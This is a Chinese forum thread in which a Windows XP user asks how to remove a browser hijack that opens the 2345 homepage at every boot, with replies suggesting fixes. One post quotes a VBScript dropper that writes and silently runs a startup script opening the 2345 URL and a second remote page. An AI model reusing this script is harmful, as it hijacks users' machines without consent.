求助：XP系统开机自动打开2345网址导航如何去除？

huyadong

每次电脑开机IE浏览器都会自动打开一个2345网址导航：http://www.2345.com/?k30155358，IE主页并没有锁定。

1.排查发现C盘出现两个.vbs文件，一个是2.vbs在C盘根目录，一个是C:\Program Files\360启动修复.vbs，这两个vbs文件都包含上述网址，可是删除这两个文件后开机问题依旧。
2.用DG清除MBR后重启问题依旧。
3.编辑注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run开机启动项也删除上述导航网址，重启问题依旧，删除的东西又出来了。
4.安装百度卫士、金山卫士、金山急救箱都没找出问题根源，因此在这里向大家求助，希望wuyou高手能出手帮助解决，非常感谢！

huyadong

上述两个vbs文件删除两次后没再自动生成，删除前代码内容没复制，刚百度了一下，代码内容大致如下，好像只是sleep时间不同：
Wscript.Sleep 50000
dim Wsh
Set Wsh=WScript.CreateObject("WScript.Shell")
On error Resume Next
set fso = createobject("scripting.filesystemobject")
set file=fso.createtextfile( "C:\2.vbs",2,ture)
file.writeline "Wscript.Sleep 100000"
file.writeline "dim Wsh"
file.writeline "Set Wsh=WScript.CreateObject(""WScript.Shell"") "
file.writeline "On error Resume Next"
file.writeline "Wsh.Run ""http://www.2345.com/?k30155358"""
file.writeline "Wscript.Sleep 360000"
file.writeline "Wsh.Run ""http://abac.bb1d.com/1.asp"""
file.close
CreateObject("WScript.Shell").Run "cmd /c C:\2.vbs",0  

tel18691071747

  换系统。汗~~~~ 2345 推广的也太流弊了？

m68

据说把IE卸载，清除上述脚本，再注册表清理一下。重新安置IE，OK。

千树叶子

流氓软件，建议装纯净版系统，或者自己封装一个，根据自己的喜好

百度科技

2345使用的这些手段太。。。。。。

2010羊羊

整个注册表搜索http://www.2345.com看看能找到,或搜索http:/看是否异常?最近我的ie也不正常,常被hao123的缠着.

2010羊羊

看样子用过360的会被2345缠着,用过金山的会被hao123缠着,中国式流氓

田野风光

现在很多都这样  一不小心就缠上了流氓软件

lb30103

整个注册表搜索 2345 把见到的全删了,说错了可不负责